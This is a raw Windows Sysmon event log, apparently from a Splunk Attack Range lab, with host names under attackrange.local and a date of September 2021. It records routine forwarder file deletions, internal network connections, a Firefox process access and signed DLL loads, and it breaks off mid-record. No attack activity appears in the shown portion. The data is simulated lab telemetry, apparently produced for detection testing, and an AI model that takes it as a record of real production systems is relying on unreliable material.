23542300x800000000000000016685Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:12.997{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3D6DF2B58B0FC860750A4AB51F9295A1,SHA256=53DF87987BD47F14FFB19814418F7E41ED0FA21A7D8C4C29B43676D4148A7AA2,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:09.402{7BD73061-65B2-613B-1000-00000000F001}364C:\Windows\System32\svchost.exeNT AUTHORITY\LOCAL SERVICEudpfalsefalse10.0.1.14win-dc-387.attackrange.local123ntpfalse10.0.1.15ip-10-0-1-15.eu-central-1.compute.internal123ntp 23542300x800000000000000051945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:12.049{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C68FD8D1D4C02D5A485D1EC565382B19,SHA256=FD244ED3A40C527CDD6B830C9546743FA0B0080A5F7CB374EC106CE6F5B0C0ED,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:13.049{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BE93B1216B82C19476DAA89641BD1D24,SHA256=B77EC62A2F554D74463357153878C5261FBF7A18378C8E90F78FE5F77387AAFF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:14.064{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5D979053DBE8BF862DF7DBC28F20790B,SHA256=E14A4C9C75158FE21D6D57AFF9DB57513EDD02F7E8153880443994844B8BCD2C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016687Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:14.613{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-045MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016686Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:14.012{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EB5B1FA2E4B03D790CF9C2132A1A8A43,SHA256=B238440EAAEB30FBE613F244E6EAA7581C0A1609C928D9DF1685572808378888,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:15.164{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6A3518003F1066BF2135E09B9B710B39,SHA256=3863847D94050DD1E14918C436E144F764416CEB3801759175355A462790E915,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016690Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:14.571{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50309-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016689Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:15.624{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-046MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016688Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:15.014{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6D51C3710CF27C41342AF9A843852C56,SHA256=695DD55F0EDDA46A6EE2D8AC9A4F0D793143DF0F441041F58EB0A9A8BF44DB17,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:13.539{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59611-false10.0.1.12-8000- 23542300x800000000000000051951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:16.279{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FA5D37CCD860A4E3ACBF5ADBA69A8C63,SHA256=A49EB51F80A5BA09F0CB1EC307652DD3E27AFA2C5F10CCB5D21DECF3B317F874,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016691Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:16.026{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3A1B578059E01AEF42466848343D2E1D,SHA256=70F664E0D5F8750903DB71E8BFC3C07CEFE23B397F04522C9FAF0CCB7429E096,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000051950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:16.248{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 734700x800000000000000052052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.847{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000052051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.847{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000052050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.847{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000052049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.831{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000052048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.831{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000052047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.831{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000052046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.831{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000052045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.831{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000052044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.831{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000052043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.831{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000052042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.831{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000052041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.831{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000052040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.831{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000052039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.831{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000052038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.831{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.831{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000052036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000052035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000052034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000052033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000052032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000052031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000052030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000052029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000052028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000052027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000052026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000052025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000052024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\fltLib.dll10.0.14393.0 (rs1_release.160715-1616)Filter LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationfilterLib.dllMD5=051ABD8360BDA63A1BC77C662FBF0A25,SHA256=C914E2DBAEC2C9A11923A984B30A979637D3A27B3C29E93F4C90FB1D9FBC518F,IMPHASH=74D3C2DA8B6F9861866B866AE40683D3trueMicrosoft WindowsValid 734700x800000000000000052023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000052022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000052021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.816{7BD73061-7301-613B-690B-00000000F001}3380C:\Program 